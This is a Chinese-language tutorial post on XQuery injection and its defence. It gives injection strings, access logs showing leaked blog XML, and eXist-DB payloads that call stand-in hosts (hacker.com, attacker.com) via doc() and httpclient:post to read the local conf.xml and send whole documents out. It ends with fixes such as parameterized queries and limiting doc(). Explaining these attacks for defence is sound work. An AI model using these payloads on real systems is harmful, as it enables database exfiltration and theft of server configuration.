天天看點

XQuery 注入的介紹與代碼防禦0x01 介紹0x02 威脅影響0x03 修複思路

0x01 介紹

      XQuery是XPath的超集,如果Xpath隻是一個查詢語言,XQuery是一個程式語言,可以聲明自定義的功能、變量等等。類似XPath注入,XQuery注入在沒有驗證使用者輸入的情況下也會發生。一個程式使用使用者名查詢部落格實體,後端使用XQuery查詢XML資料。

1 查詢執行個體

使用者輸入admin,在背景執行的查詢為:

for $blogpost in//post[@author=’admin’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>
           

如果使用者輸入admin’] let $x :=/*[' ,注入後的查詢結果為:

for $blogpost in//post[@author=’admin’]
 let $x := /*[‘’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>
           

攻擊者可以在let $x := /*[‘’]中插入任何想執行語句都會在循環中執行,它會通過所有目前執行檔案中的元素循環發出一個GET請求到攻擊者的伺服器。

2 URL攻擊

上面的方法會重複的對攻擊者的伺服器發送請求,整個XML文檔可以通過分析攻擊者的伺服器通路日志進行擷取。

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

通過分析拼接的XML為:

<posts>
<postauthor="admin">
<title>Test</title>
<content>My firstblog post!</content>
</post>
<postauthor="admin">
<title>My blog isnow live!</title>
<content>Welcometo my blog! Please stay away hackers</content>
</post>
</posts>
           

3 Exist-DB

Exist-DB是一個本地XML資料庫,允許應用程式使用不同的技術(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存儲、查詢和更新XML資料。差別于其他傳統的資料庫(定義自己的查詢協定),Exist-DB使用基于HTTP的接口進行查詢,如REST, XML-RPC, WebDAV 和SOAP。執行一個GET請求,傳回一個XML的節點。還是之前使用者部落格的查詢,假設現在使用的是Exist-DB,HTTP查詢請求如下

http://www.vulnhost.com/viewposts?username=admin

背景XPath表達式

上面查詢//posts[@author=’admin’]會傳回所有admin的文章,Exist-DB是一個成熟的資料庫并且在很好的支援XPath,如果username變量沒有進行淨化,攻擊者可以擷取根節點的内容:

這條語句會攜帶根節點發名字請求攻擊者的伺服器

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
 doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
 or '1'= '1']")))/*[1]
           

攻擊者可以使用上面的技術獲得受害伺服器的配置資訊。

EXist-DB有一個可擴充的子產品,它允許程式員用Java編寫的子產品建立新的XPath/XQuery函數。通過讓郵件子產品或其他SMTP伺服器,I/O檔案系統發送電子郵件。以及支援多種HTTP方法,利用LDAP用戶端子產品,或在在OracleRDBMS執行Oracle的PL/ SQL存儲過程等等。這些子產品功能強大,但通常這些子產品在預設情況下是禁用的。

HTTP子產品很有趣,因為它是兩個非常強大的,預設情況下啟用。攻擊者可以簡單地使用它來發送序列化根節點(整個文檔)到攻擊者的伺服器,進而在一次操作中擷取整個資料庫。

在伺服器背景的查詢如下

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]
           

可以通過DOC功能使HTTP用戶端發送任意的本地XML檔案到攻擊者的伺服器

0x02 威脅影響

    可能會通路存儲在敏感資料資源中的資訊,獲得受害伺服器的配置資訊

0x03 修複思路

淨化使用者輸入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()這些函數需要特别注意

使用參數化的查詢,如Java的Xpath表達式

/root/element[@id=$ID]

限制doc()功能

歡迎大家分享更好的思路,熱切期待^^_^^ !

繼續閱讀